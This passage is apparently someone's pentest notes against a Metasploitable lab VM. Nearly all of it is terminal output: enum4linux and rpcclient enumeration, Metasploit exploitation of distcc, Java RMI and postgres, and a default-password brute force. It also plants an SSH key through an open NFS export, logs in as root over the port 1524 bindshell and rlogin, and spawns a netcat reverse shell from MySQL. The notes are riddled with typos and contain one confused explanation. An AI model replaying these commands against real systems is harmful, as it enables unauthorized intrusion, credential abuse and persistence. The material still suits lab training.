	[+] Password Complexity Flags: 000000

		[+] Domain Refuse Password Change: 0
		[+] Domain Password Store Cleartext: 0
		[+] Domain Password Lockout Admins: 0
		[+] Domain Password No Clear Change: 0
		[+] Domain Password No Anon Change: 0
		[+] Domain Password Complex: 0

	[+] Minimum password age: None
	[+] Reset Account Lockout Counter: 30 minutes
	[+] Locked Account Duration: 30 minutes
	[+] Account Lockout Threshold: None
	[+] Forced Log off Time: Not Set

[+] Retieved partial password policy with rpcclient:

Password Complexity: Disabled
Minimum Password Length: 0

 ==================================
| Groups on 192.168.31.137 |
 ==================================

[+] Getting builtin groups:

[+] Getting builtin group memberships:

[+] Getting local groups:

[+] Getting local group memberships:

[+] Getting domain groups:

[+] Getting domain group memberships:

 ==
| Users on 192.168.31.137 via RID cycling (RIDS: 500-550,1000-1050) |
 ==
[I] Found new SID: S-1-5-21-1042354039-2475377354-766472396
[+] Enumerating users using SID S-1-5-21-1042354039-2475377354-766472396 and logon username '', password ''
S-1-5-21-1042354039-2475377354-766472396-500 METASPLOITABLE\Administrator (Local User)
S-1-5-21-1042354039-2475377354-766472396-501 METASPLOITABLE\nobody (Local User)
S-1-5-21-1042354039-2475377354-766472396-502 *unknown**unknown* (8)
S-1-5-21-1042354039-2475377354-766472396-503 *unknown**unknown* (8)
S-1-5-21-1042354039-2475377354-766472396-504 *unknown**unknown* (8)
S-1-5-21-1042354039-2475377354-766472396-505 *unknown**unknown* (8)
S-1-5-21-1042354039-2475377354-766472396-506 *unknown**unknown* (8)
S-1-5-21-1042354039-2475377354-766472396-507 *unknown**unknown* (8)
S-1-5-21-1042354039-2475377354-766472396-508 *unknown**unknown* (8)
S-1-5-21-1042354039-2475377354-766472396-509 *unknown**unknown* (8)
S-1-5-21-1042354039-2475377354-766472396-510 *unknown**unknown* (8)
S-1-5-21-1042354039-2475377354-766472396-511 *unknown**unknown* (8)
S-1-5-21-1042354039-2475377354-766472396-512 METASPLOITABLE\Domain Admins (Domain Group)
S-1-5-21-1042354039-2475377354-766472396-513 METASPLOITABLE\Domain Users (Domain Group)
S-1-5-21-1042354039-2475377354-766472396-514 METASPLOITABLE\Domain Guests (Domain Group)

S-1-5-21-1042354039-2475377354-766472396-515 *unknown**unknown* (8)
S-1-5-21-1042354039-2475377354-766472396-516 *unknown**unknown* (8)
S-1-5-21-1042354039-2475377354-766472396-517 *unknown**unknown* (8)
S-1-5-21-1042354039-2475377354-766472396-518 *unknown**unknown* (8)
S-1-5-21-1042354039-2475377354-766472396-519 *unknown**unknown* (8)
S-1-5-21-1042354039-2475377354-766472396-520 *unknown**unknown* (8)
S-1-5-21-1042354039-2475377354-766472396-521 *unknown**unknown* (8)
S-1-5-21-1042354039-2475377354-766472396-522 *unknown**unknown* (8)
S-1-5-21-1042354039-2475377354-766472396-523 *unknown**unknown* (8)
S-1-5-21-1042354039-2475377354-766472396-524 *unknown**unknown* (8)
S-1-5-21-1042354039-2475377354-766472396-525 *unknown**unknown* (8)
S-1-5-21-1042354039-2475377354-766472396-526 *unknown**unknown* (8)
S-1-5-21-1042354039-2475377354-766472396-527 *unknown**unknown* (8)
S-1-5-21-1042354039-2475377354-766472396-528 *unknown**unknown* (8)
S-1-5-21-1042354039-2475377354-766472396-529 *unknown**unknown* (8)
S-1-5-21-1042354039-2475377354-766472396-530 *unknown**unknown* (8)
S-1-5-21-1042354039-2475377354-766472396-531 *unknown**unknown* (8)
S-1-5-21-1042354039-2475377354-766472396-532 *unknown**unknown* (8)
S-1-5-21-1042354039-2475377354-766472396-533 *unknown**unknown* (8)
S-1-5-21-1042354039-2475377354-766472396-534 *unknown**unknown* (8)
S-1-5-21-1042354039-2475377354-766472396-535 *unknown**unknown* (8)
S-1-5-21-1042354039-2475377354-766472396-536 *unknown**unknown* (8)
S-1-5-21-1042354039-2475377354-766472396-537 *unknown**unknown* (8)
S-1-5-21-1042354039-2475377354-766472396-538 *unknown**unknown* (8)
S-1-5-21-1042354039-2475377354-766472396-539 *unknown**unknown* (8)
S-1-5-21-1042354039-2475377354-766472396-540 *unknown**unknown* (8)
S-1-5-21-1042354039-2475377354-766472396-541 *unknown**unknown* (8)
S-1-5-21-1042354039-2475377354-766472396-542 *unknown**unknown* (8)
S-1-5-21-1042354039-2475377354-766472396-543 *unknown**unknown* (8)
S-1-5-21-1042354039-2475377354-766472396-544 *unknown**unknown* (8)
S-1-5-21-1042354039-2475377354-766472396-545 *unknown**unknown* (8)
S-1-5-21-1042354039-2475377354-766472396-546 *unknown**unknown* (8)
S-1-5-21-1042354039-2475377354-766472396-547 *unknown**unknown* (8)
S-1-5-21-1042354039-2475377354-766472396-548 *unknown**unknown* (8)
S-1-5-21-1042354039-2475377354-766472396-549 *unknown**unknown* (8)
S-1-5-21-1042354039-2475377354-766472396-550 *unknown**unknown* (8)
S-1-5-21-1042354039-2475377354-766472396-1000 METASPLOITABLE\root (Local User)
S-1-5-21-1042354039-2475377354-766472396-1001 METASPLOITABLE\root (Domain Group)
S-1-5-21-1042354039-2475377354-766472396-1002 METASPLOITABLE\daemon (Local User)
S-1-5-21-1042354039-2475377354-766472396-1003 METASPLOITABLE\daemon (Domain Group)
S-1-5-21-1042354039-2475377354-766472396-1004 METASPLOITABLE\bin (Local User)
S-1-5-21-1042354039-2475377354-766472396-1005 METASPLOITABLE\bin (Domain Group)
S-1-5-21-1042354039-2475377354-766472396-1006 METASPLOITABLE\sys (Local User)
S-1-5-21-1042354039-2475377354-766472396-1007 METASPLOITABLE\sys (Domain Group)
S-1-5-21-1042354039-2475377354-766472396-1008 METASPLOITABLE\sync (Local User)
S-1-5-21-1042354039-2475377354-766472396-1009 METASPLOITABLE\adm (Domain Group)
S-1-5-21-1042354039-2475377354-766472396-1010 METASPLOITABLE\games (Local User)
S-1-5-21-1042354039-2475377354-766472396-1011 METASPLOITABLE\tty (Domain Group)
S-1-5-21-1042354039-2475377354-766472396-1012 METASPLOITABLE\man (Local User)
S-1-5-21-1042354039-2475377354-766472396-1013 METASPLOITABLE\disk (Domain Group)
S-1-5-21-1042354039-2475377354-766472396-1014 METASPLOITABLE\lp (Local User)
S-1-5-21-1042354039-2475377354-766472396-1015 METASPLOITABLE\lp (Domain Group)
S-1-5-21-1042354039-2475377354-766472396-1016 METASPLOITABLE\mail (Local User)
S-1-5-21-1042354039-2475377354-766472396-1017 METASPLOITABLE\mail (Domain Group)
S-1-5-21-1042354039-2475377354-766472396-1018 METASPLOITABLE\news (Local User)
S-1-5-21-1042354039-2475377354-766472396-1019 METASPLOITABLE\news (Domain Group)
S-1-5-21-1042354039-2475377354-766472396-1020 METASPLOITABLE\uucp (Local User)
S-1-5-21-1042354039-2475377354-766472396-1021 METASPLOITABLE\uucp (Domain Group)
S-1-5-21-1042354039-2475377354-766472396-1022 *unknown**unknown* (8)
S-1-5-21-1042354039-2475377354-766472396-1023 *unknown**unknown* (8)
S-1-5-21-1042354039-2475377354-766472396-1024 *unknown**unknown* (8)
S-1-5-21-1042354039-2475377354-766472396-1025 METASPLOITABLE\man (Domain Group)
S-1-5-21-1042354039-2475377354-766472396-1026 METASPLOITABLE\proxy (Local User)
S-1-5-21-1042354039-2475377354-766472396-1027 METASPLOITABLE\proxy (Domain Group)
S-1-5-21-1042354039-2475377354-766472396-1028 *unknown**unknown* (8)
S-1-5-21-1042354039-2475377354-766472396-1029 *unknown**unknown* (8)
S-1-5-21-1042354039-2475377354-766472396-1030 *unknown**unknown* (8)
S-1-5-21-1042354039-2475377354-766472396-1031 METASPLOITABLE\kmem (Domain Group)
S-1-5-21-1042354039-2475377354-766472396-1032 *unknown**unknown* (8)
S-1-5-21-1042354039-2475377354-766472396-1033 *unknown**unknown* (8)
S-1-5-21-1042354039-2475377354-766472396-1034 *unknown**unknown* (8)

S-1-5-21-1042354039-2475377354-766472396-1035 *unknown**unknown* (8)
S-1-5-21-1042354039-2475377354-766472396-1036 *unknown**unknown* (8)
S-1-5-21-1042354039-2475377354-766472396-1037 *unknown**unknown* (8)
S-1-5-21-1042354039-2475377354-766472396-1038 *unknown**unknown* (8)
S-1-5-21-1042354039-2475377354-766472396-1039 *unknown**unknown* (8)
S-1-5-21-1042354039-2475377354-766472396-1040 *unknown**unknown* (8)
S-1-5-21-1042354039-2475377354-766472396-1041 METASPLOITABLE\dialout (Domain Group)
S-1-5-21-1042354039-2475377354-766472396-1042 *unknown**unknown* (8)
S-1-5-21-1042354039-2475377354-766472396-1043 METASPLOITABLE\fax (Domain Group)
S-1-5-21-1042354039-2475377354-766472396-1044 *unknown**unknown* (8)
S-1-5-21-1042354039-2475377354-766472396-1045 METASPLOITABLE\voice (Domain Group)
S-1-5-21-1042354039-2475377354-766472396-1046 *unknown**unknown* (8)
S-1-5-21-1042354039-2475377354-766472396-1047 *unknown**unknown* (8)
S-1-5-21-1042354039-2475377354-766472396-1048 *unknown**unknown* (8)
S-1-5-21-1042354039-2475377354-766472396-1049 METASPLOITABLE\cdrom (Domain Group)
S-1-5-21-1042354039-2475377354-766472396-1050 *unknown**unknown* (8)

 ==
| Getting printer info for 192.168.31.137 |
 ==
No printers returned.

enum4linux complete on Tue Sep 17 14:41:41 2019

root@kali:~#

rpcclient

rpcclient -U "" 192.168.31.137

rpcclient -U "" 192.168.31.137
Enter WORKGROUP\'s password:
rpcclient $>

rpcclient $> list
Usage: list <pipe>
rpcclient $> shell
command not found: shell
rpcclient $> dfsenum
rpcclient $> enumdata
Usage: enumdata printername
rpcclient $> enumdomusers
user:[games] rid:[0x3f2]
user:[nobody] rid:[0x1f5]
user:[bind] rid:[0x4ba]
user:[proxy] rid:[0x402]
user:[syslog] rid:[0x4b4]
user:[user] rid:[0xbba]
user:[www-data] rid:[0x42a]
user:[root] rid:[0x3e8]
user:[news] rid:[0x3fa]
user:[postgres] rid:[0x4c0]
user:[bin] rid:[0x3ec]
user:[mail] rid:[0x3f8]
user:[distccd] rid:[0x4c6]
user:[proftpd] rid:[0x4ca]
user:[dhcp] rid:[0x4b2]
user:[daemon] rid:[0x3ea]
user:[sshd] rid:[0x4b8]
user:[man] rid:[0x3f4]
user:[lp] rid:[0x3f6]
user:[mysql] rid:[0x4c2]
user:[gnats] rid:[0x43a]
user:[libuuid] rid:[0x4b0]
user:[backup] rid:[0x42c]

user:[msfadmin] rid:[0xbb8]
user:[telnetd] rid:[0x4c8]
user:[sys] rid:[0x3ee]
user:[klog] rid:[0x4b6]
user:[postfix] rid:[0x4bc]
user:[service] rid:[0xbbc]
user:[list] rid:[0x434]
user:[irc] rid:[0x436]
user:[ftp] rid:[0x4be]
user:[tomcat55] rid:[0x4c4]
user:[sync] rid:[0x3f0]
user:[uucp] rid:[0x3fc]

samba exploit

msf5 exploit(linux/samba/trans2open) > use exploit/multi/samba/usermap_script

msf5 exploit(unix/misc/distcc_exec) > info

```
       Name: DistCC Daemon Command Execution
     Module: exploit/unix/misc/distcc_exec
   Platform: Unix
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2002-02-01

Provided by:
  hdm <x@hdm.io>

Available targets:
  Id  Name
  --  ----
  0   Automatic Target

Check supported:
  Yes

Basic options:
  Name    Current Setting  Required  Description
  ----    ---------------  --------  -----------
  RHOSTS  192.168.31.137   yes       The target address range or CIDR identifier
  RPORT   3632             yes       The target port (TCP)

Payload information:
  Space: 1024

Description:
  This module uses a documented security weakness to execute arbitrary
  commands on any system running distccd.

References:
  https://cvedetails.com/cve/CVE-2004-2687/
  OSVDB (13378)
  http://distcc.samba.org/security.html
```

msf5 exploit(unix/misc/distcc_exec) >

java rmi exploit

sf5 > search java_rmi

```
Matching Modules
================

   #  Name                                                Disclosure Date  Rank       Check  Description
   -  ----                                                ---------------  ----       -----  -----------
   1  auxiliary/gather/java_rmi_registry                                   normal     No     Java RMI Registry Interfaces Enumeration
   2  auxiliary/scanner/misc/java_rmi_server              2011-10-15       normal     Yes    Java RMI Server Insecure Endpoint Code
Execution Scanner
   3  exploit/multi/browser/java_rmi_connection_impl      2010-03-31       excellent  No     Java RMIConnectionImpl Deserialization
Privilege Escalation
   4  exploit/multi/misc/java_rmi_server                  2011-10-15       excellent  No     Java RMI Server Insecure Default Configuration
Java Code Execution


msf5 > use auxiliary/scanner/misc/java_rmi_server
msf5 auxiliary(scanner/misc/java_rmi_server) > show options

Module options (auxiliary/scanner/misc/java_rmi_server):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOSTS                    yes       The target address range or CIDR identifier
   RPORT    1099             yes       The target port (TCP)
   THREADS  1                yes       The number of concurrent threads

msf5 auxiliary(scanner/misc/java_rmi_server) > set rhosts 192.168.31.137
rhosts => 192.168.31.137
msf5 auxiliary(scanner/misc/java_rmi_server) > exploit

[+] 192.168.31.137:1099   - 192.168.31.137:1099 Java RMI Endpoint Detected: Class Loader Enabled
[*] 192.168.31.137:1099   - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed



---------------------------------------------------------------------------------------------------

msf5 auxiliary(scanner/misc/java_rmi_server) > use exploit/multi/misc/java_rmi_server
msf5 exploit(multi/misc/java_rmi_server) > show options

Module options (exploit/multi/misc/java_rmi_server):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   HTTPDELAY  10               yes       Time that the HTTP Server will wait for the payload request
   RHOSTS                      yes       The target address range or CIDR identifier
   RPORT      1099             yes       The target port (TCP)
   SRVHOST    0.0.0.0          yes       The local host to listen on. This must be an address on the local machine or 0.0.0.0
   SRVPORT    8080             yes       The local port to listen on.
   SSL        false            no        Negotiate SSL for incoming connections
   SSLCert                     no        Path to a custom SSL certificate (default is randomly generated)
   URIPATH                     no        The URI to use for this exploit (default is random)


Exploit target:

   Id  Name
   --  ----
   0   Generic (Java Payload)


msf5 exploit(multi/misc/java_rmi_server) > set rhosts 192.168.31.137
rhosts => 192.168.31.137
msf5 exploit(multi/misc/java_rmi_server) > set srvhost 192.168.31.354
[-] The following options failed to validate: Value '192.168.31.354' is not valid for option 'SRVHOST'.
srvhost => 0.0.0.0
msf5 exploit(multi/misc/java_rmi_server) > set srvhost 192.168.31.154
srvhost => 192.168.31.154
msf5 exploit(multi/misc/java_rmi_server) > show options

Module options (exploit/multi/misc/java_rmi_server):
```

```
  Name       Current Setting  Required  Description
  ----       ---------------  --------  -----------
  HTTPDELAY  10               yes       Time that the HTTP Server will wait for the payload request
  RHOSTS     192.168.31.137   yes       The target address range or CIDR identifier
  RPORT      1099             yes       The target port (TCP)
  SRVHOST    192.168.31.154   yes       The local host to listen on. This must be an address on the local machine or 0.0.0.0
  SRVPORT    8080             yes       The local port to listen on.
  SSL        false            no        Negotiate SSL for incoming connections
  SSLCert                     no        Path to a custom SSL certificate (default is randomly generated)
  URIPATH                     no        The URI to use for this exploit (default is random)


msf5 exploit(multi/misc/java_rmi_server) > show payloads

Compatible Payloads
===================

  #   Name                                Disclosure Date  Rank    Check  Description
  -   ----                                ---------------  ----    -----  -----------
  1   generic/custom                                       normal  No     Custom Payload
  2   generic/shell_bind_tcp                               normal  No     Generic Command Shell, Bind TCP Inline
  3   generic/shell_reverse_tcp                            normal  No     Generic Command Shell, Reverse TCP Inline
  4   java/jsp_shell_bind_tcp                              normal  No     Java JSP Command Shell, Bind TCP Inline
  5   java/jsp_shell_reverse_tcp                           normal  No     Java JSP Command Shell, Reverse TCP Inline
  6   java/meterpreter/bind_tcp                            normal  No     Java Meterpreter, Java Bind TCP Stager
  7   java/meterpreter/reverse_http                        normal  No     Java Meterpreter, Java Reverse HTTP Stager
  8   java/meterpreter/reverse_https                       normal  No     Java Meterpreter, Java Reverse HTTPS Stager
  9   java/meterpreter/reverse_tcp                         normal  No     Java Meterpreter, Java Reverse TCP Stager
  10  java/shell/bind_tcp                                  normal  No     Command Shell, Java Bind TCP Stager
  11  java/shell/reverse_tcp                               normal  No     Command Shell, Java Reverse TCP Stager
  12  java/shell_reverse_tcp                               normal  No     Java Command Shell, Reverse TCP Inline
  13  multi/meterpreter/reverse_http                       normal  No     Architecture-Independent Meterpreter Stage, Reverse HTTP
Stager (Mulitple Architectures)
  14  multi/meterpreter/reverse_https                      normal  No     Architecture-Independent Meterpreter Stage, Reverse HTTPS
Stager (Mulitple Architectures)



sf5 exploit(multi/misc/java_rmi_server) >
msf5 exploit(multi/misc/java_rmi_server) > exploit

[*] Started reverse TCP handler on 192.168.31.154:4444
[*] 192.168.31.137:1099 - Using URL: http://192.168.31.154:8080/oTgMuVIKoSI
[*] 192.168.31.137:1099 - Server started.
[*] 192.168.31.137:1099 - Sending RMI Header...
[*] 192.168.31.137:1099 - Sending RMI Call...
[*] 192.168.31.137:1099 - Replied to request for payload JAR
[*] Sending stage (53844 bytes) to 192.168.31.137
[*] Meterpreter session 5 opened (192.168.31.154:4444 -> 192.168.31.137:48325) at 2019-09-19 18:04:12 -0400
sessions -i 5
[-] 192.168.31.137:1099 - Exploit failed: RuntimeError Timeout HTTPDELAY expired and the HTTP Server didn't get a payload
request
[*] 192.168.31.137:1099 - Server stopped.
[*] Exploit completed, but no session was created.
msf5 exploit(multi/misc/java_rmi_server) > sessions -i 5
[*] Starting interaction with 5...

meterpreter > sysinfo
Computer    : metasploitable
OS          : Linux 2.6.24-16-server (i386)
Meterpreter : java/linux
meterpreter >
```

showmount + rsa_key + ssh

```
root@kali:~# showmount -e 192.168.31.137
Export list for 192.168.31.137:
/ *
root@kali:~# cd /tmp/
root@kali:/tmp# ls
_cafenv-appconfig_                                          systemd-private-a002162870b94800bb817c943c6f1f32-
ModemManager.service-3qHWco    tracker-extract-files.0
firefox-esr_root                                            systemd-private-a002162870b94800bb817c943c6f1f32-rtkit-
daemon.service-FZr00W    VMwareDnD
ssh-TcvOa4TThbxR                                            systemd-private-a002162870b94800bb817c943c6f1f32-systemd-
logind.service-dJ1cyl  vmware-root
systemd-private-a002162870b94800bb817c943c6f1f32-bolt.service-2e3nUv     systemd-private-
a002162870b94800bb817c943c6f1f32-upower.service-KjnErq          vmware-root_898-2722239165
systemd-private-a002162870b94800bb817c943c6f1f32-colord.service-cQFI43
Temp-29bdbe7c-525a-440c-9491-21737b92238e
systemd-private-a002162870b94800bb817c943c6f1f32-haveged.service-SVYV7j  tmpNLOkm6
root@kali:/tmp# cd ..
root@kali:/# mdir /tmp/mounting
bash: mdir: command not found
root@kali:/# mkdir /tmp/mounting
root@kali:/# mount -t nfs 192.168.31.137:/ /tmp/mounting/
root@kali:/# ls
0  bin  boot  dev  etc  home  initrd.img  initrd.img.old  lib  lib32  lib64  libx32  lost+found  media  mnt  opt  proc  root  run
sbin  srv  sys  tmp  usr  var  vmlinuz  vmlinuz.old
root@kali:/# cd .ssh
bash: cd: .ssh: No such file or directory
root@kali:/# cd /root/
root@kali:~# cd .ssh/
root@kali:~/.ssh# ls
id_rsa  id_rsa.pub  known_hosts
root@kali:~/.ssh#
```

```
root@kali:~/.ssh# ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa):
/root/.ssh/id_rsa already exists.
Overwrite (y/n)?
root@kali:~/.ssh# cp /root/.ssh/id_rsa.pub >> /tmp/mounting/root/.ssh/authrozied_keys
cp: missing destination file operand after '/root/.ssh/id_rsa.pub'
Try 'cp --help' for more information.
r
```
root@kali:~/.ssh# cat /root/.ssh/id_rsa.pub >> /tmp/mounting/root/.ssh/authrozied_keys
```
root@kali:~/.ssh# cd /tmp/mounting/root/.ssh/
root@kali:/tmp/mounting/root/.ssh# ls
authorized_keys  authrozied_keys  known_hosts
root@kali:/tmp/mounting/root/.ssh#
```

ssh root@ip

```
ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa):
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /root/.ssh/id_rsa.
Your public key has been saved in /root/.ssh/id_rsa.pub.

root@ubuntu:~# mkdir /tmp/r00t
root@ubuntu:~# mount -t nfs 192.168.31.137:/ /tmp/r00t/
root@ubuntu:~# cat ~/.ssh/id_rsa.pub >> /tmp/r00t/root/.ssh/authorized_keys
root@ubuntu:~# umount /tmp/r00t

root@ubuntu:~# ssh root@192.168.31.137
Last login: Fri Jun  1 00:29:33 2012 from 192.168.99.128
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686
```

root@metasploitable:~#

---

port 1524

oot@kali:~# telnet 192.168.31.137 1524
Trying 192.168.31.137...
Connected to 192.168.31.137.
Escape character is '^]'.
root@metasploitable:/#

port 514 -rlogin

root@kali:~# rloginusage: ssh [-1246AaCfgKkMNnqsTtVvXxYy] [-b bind_address] [-c cipher_spec] [-D [bind_address:]port] [-e escape_char] [-F configfile] [-I pkcs11] [-i identity_file] [-L [bind_address:]port:host:hostport] [-l login_name] [-m mac_spec] [-O ctl_cmd] [-o option] [-p port] [-R [bind_address:]port:host:hostport] [-S ctl_path] [-W host:port] [-w local_tun[:remote_tun]] [user@]hostname [command] rlogin -l root 192.168.154.132Most probably you will get something like this-

root@kali:~# rlogin -l root 192.168.154.132The authenticity of host '192.168.154.132 (192.168.154.132)' can't be established.RSA key fingerprint is *****.Are you sure you want to continue connecting (yes/no)? yesWarning: Permanently added '192.168.154.132' (RSA) to the list of known hosts.root@192.168.154.132's password:

As you can see, it is asking for a password. It's not because the target is not vulnerable. It's because we don't have ssh-client installed on Kali Linux. The rsh-client is a remote login utility that it will allow users to connect to remote machines.

apt-get install rsh-client

root@kali:~# rlogin -l root 192.168.31.137
Last login: Thu Sep 19 16:19:22 EDT 2019 from :0.0 on pts/0
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
You have new mail.
root@metasploitable:~#

mysql-conncet-exp

root@kali:~# mysql -u root -p -h 192.168.31.137
Enter password:
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MySQL connection id is 25
Server version: 5.0.51a-3ubuntu5 (Ubuntu)

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

```
MySQL [(none)]> show databases
    -> ;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| dvwa               |
| metasploit         |
| mysql              |
| owasp10            |
| tikiwiki           |
| tikiwiki195        |
+--------------------+
7 rows in set (0.002 sec)

MySQL [(none)]>
```

```
nc -nlvp 1234
In MySQL, execute system command:
mysql> system nc 192.168.31.137 1234 -e /bin/bash
```

port 5432

use auxilary module scanner

```
msf5 exploit(multi/misc/java_rmi_server) > use auxiliary/scanner/postgres/postgres_login
msf5 auxiliary(scanner/postgres/postgres_login) > show options

Module options (auxiliary/scanner/postgres/postgres_login):

   Name              Current Setting                                                     Required  Description
   ----              ---------------                                                     --------  -----------
   BLANK_PASSWORDS   false                                                               no        Try blank passwords for all users
   BRUTEFORCE_SPEED  5                                                                 yes       How fast to bruteforce, from 0 to 5
   DATABASE          template1                                                         yes       The database to authenticate against
   DB_ALL_CREDS      false                                                             no        Try each user/password couple stored in the
current database
   DB_ALL_PASS       false                                                           no        Add all passwords in the current database to the
list
   DB_ALL_USERS      false                                                           no        Add all users in the current database to the list
   PASSWORD                                                                          no        A specific password to authenticate with
   PASS_FILE         /usr/share/metasploit-framework/data/wordlists/postgres_default_pass.txt      no        File containing
passwords, one per line
   Proxies                                                                           no        A proxy chain of format
type:host:port[,type:host:port][...]
   RETURN_ROWSET     true                                                            no        Set to true to see query result sets
   RHOSTS                                                                            yes       The target address range or CIDR identifier
   RPORT             5432                                                            yes       The target port
   STOP_ON_SUCCESS   false                                                           yes       Stop guessing when a credential works for a
host
   THREADS           1                                                               yes       The number of concurrent threads
   USERNAME                                                                          no        A specific username to authenticate as
   USERPASS_FILE     /usr/share/metasploit-framework/data/wordlists/postgres_default_userpass.txt  no        File containing
(space-seperated) users and passwords, one pair per line
   USER_AS_PASS      false                                                           no        Try the username as the password for all users
   USER_FILE         /usr/share/metasploit-framework/data/wordlists/postgres_default_user.txt      no        File containing users,
one per line
   VERBOSE           true                                                            yes       Whether to print output for all attempts
```

```
msf5 auxiliary(scanner/postgres/postgres_login) > set rhosts 1921.68.31.137
rhosts => 1921.68.31.137
msf5 auxiliary(scanner/postgres/postgres_login) > exploit
[-] Auxiliary failed: Msf::OptionValidateError The following options failed to validate: RHOSTS.
msf5 auxiliary(scanner/postgres/postgres_login) > set RHOSTS 192.168.31.137
RHOSTS => 192.168.31.137
msf5 auxiliary(scanner/postgres/postgres_login) > exploit

[!] No active DB -- Credential data will not be saved!
[-] 192.168.31.137:5432 - LOGIN FAILED: :@template1 (Incorrect: Invalid username or password)
[-] 192.168.31.137:5432 - LOGIN FAILED: :tiger@template1 (Incorrect: Invalid username or password)
[-] 192.168.31.137:5432 - LOGIN FAILED: :postgres@template1 (Incorrect: Invalid username or password)
[-] 192.168.31.137:5432 - LOGIN FAILED: :password@template1 (Incorrect: Invalid username or password)
[-] 192.168.31.137:5432 - LOGIN FAILED: :admin@template1 (Incorrect: Invalid username or password)
[-] 192.168.31.137:5432 - LOGIN FAILED: postgres:@template1 (Incorrect: Invalid username or password)
[-] 192.168.31.137:5432 - LOGIN FAILED: postgres:tiger@template1 (Incorrect: Invalid username or password)
[+] 192.168.31.137:5432 - Login Successful: postgres:postgres@template1
[-] 192.168.31.137:5432 - LOGIN FAILED: scott:@template1 (Incorrect: Invalid username or password)
[-] 192.168.31.137:5432 - LOGIN FAILED: scott:tiger@template1 (Incorrect: Invalid username or password)
[-] 192.168.31.137:5432 - LOGIN FAILED: scott:postgres@template1 (Incorrect: Invalid username or password)
[-] 192.168.31.137:5432 - LOGIN FAILED: scott:password@template1 (Incorrect: Invalid username or password)
[-] 192.168.31.137:5432 - LOGIN FAILED: scott:admin@template1 (Incorrect: Invalid username or password)
[-] 192.168.31.137:5432 - LOGIN FAILED: admin:@template1 (Incorrect: Invalid username or password)
[-] 192.168.31.137:5432 - LOGIN FAILED: admin:tiger@template1 (Incorrect: Invalid username or password)
[-] 192.168.31.137:5432 - LOGIN FAILED: admin:postgres@template1 (Incorrect: Invalid username or password)
[-] 192.168.31.137:5432 - LOGIN FAILED: admin:password@template1 (Incorrect: Invalid username or password)
[-] 192.168.31.137:5432 - LOGIN FAILED: admin:admin@template1 (Incorrect: Invalid username or password)
[-] 192.168.31.137:5432 - LOGIN FAILED: admin:admin@template1 (Incorrect: Invalid username or password)
[-] 192.168.31.137:5432 - LOGIN FAILED: admin:password@template1 (Incorrect: Invalid username or password)
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf5 auxiliary(scanner/postgres/postgres_login) >
```

finally got -- **[+] 192.168.31.137:5432 - Login Successful: postgres:postgres@template1**

```
psql -h 192.168.31.137 -U postgres
```

exploit no 2

```
msf5 auxiliary(scanner/postgres/postgres_login) > use exploit/linux/postgres/postgres_payload
msf5 exploit(linux/postgres/postgres_payload) > show options

Module options (exploit/linux/postgres/postgres_payload):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   DATABASE  template1        yes       The database to authenticate against
   PASSWORD  postgres         no        The password for the specified username. Leave blank for a random password.
   RHOSTS                     yes       The target address range or CIDR identifier
   RPORT     5432             yes       The target port
   USERNAME  postgres         yes       The username to authenticate as
   VERBOSE   false            no        Enable verbose output


Exploit target:

   Id  Name
   --  ----
   0   Linux x86
```

```
msf5 exploit(linux/postgres/postgres_payload) > set rhosts 192.168.31.137
rhosts => 192.168.31.137
msf5 exploit(linux/postgres/postgres_payload) > show payloads

Compatible Payloads
===================

   #   Name                                          Disclosure Date  Rank    Check  Description
   -   ----                                          ---------------  ----    -----  -----------
   1   generic/custom                                                 normal  No     Custom Payload
   2   generic/debug_trap                                             normal  No     Generic x86 Debug Trap
   3   generic/shell_bind_tcp                                         normal  No     Generic Command Shell, Bind TCP Inline
   4   generic/shell_reverse_tcp                                      normal  No     Generic Command Shell, Reverse TCP Inline
   5   generic/tight_loop                                             normal  No     Generic x86 Tight Loop
   6   linux/x86/chmod                                                normal  No     Linux Chmod
   7   linux/x86/exec                                                 normal  No     Linux Execute Command
   8   linux/x86/meterpreter/bind_ipv6_tcp                            normal  No     Linux Mettle x86, Bind IPv6 TCP Stager (Linux x86)
   9   linux/x86/meterpreter/bind_ipv6_tcp_uuid                       normal  No     Linux Mettle x86, Bind IPv6 TCP Stager with UUID
Support (Linux x86)
   10  linux/x86/meterpreter/bind_nonx_tcp                            normal  No     Linux Mettle x86, Bind TCP Stager
   11  linux/x86/meterpreter/bind_tcp                                 normal  No     Linux Mettle x86, Bind TCP Stager (Linux x86)
   12  linux/x86/meterpreter/bind_tcp_uuid                            normal  No     Linux Mettle x86, Bind TCP Stager with UUID Support
(Linux x86)
   13  linux/x86/meterpreter/reverse_ipv6_tcp                         normal  No     Linux Mettle x86, Reverse TCP Stager (IPv6)
   14  linux/x86/meterpreter/reverse_nonx_tcp                         normal  No     Linux Mettle x86, Reverse TCP Stager
   15  linux/x86/meterpreter/reverse_tcp                              normal  No     Linux Mettle x86, Reverse TCP Stager
   16  linux/x86/meterpreter/reverse_tcp_uuid                         normal  No     Linux Mettle x86, Reverse TCP Stager
   17  linux/x86/metsvc_bind_tcp                                      normal  No     Linux Meterpreter Service, Bind TCP
   18  linux/x86/metsvc_reverse_tcp                                   normal  No     Linux Meterpreter Service, Reverse TCP Inline
   19  linux/x86/read_file                                            normal  No     Linux Read File
   20  linux/x86/shell/bind_ipv6_tcp                                  normal  No     Linux Command Shell, Bind IPv6 TCP Stager (Linux x86)
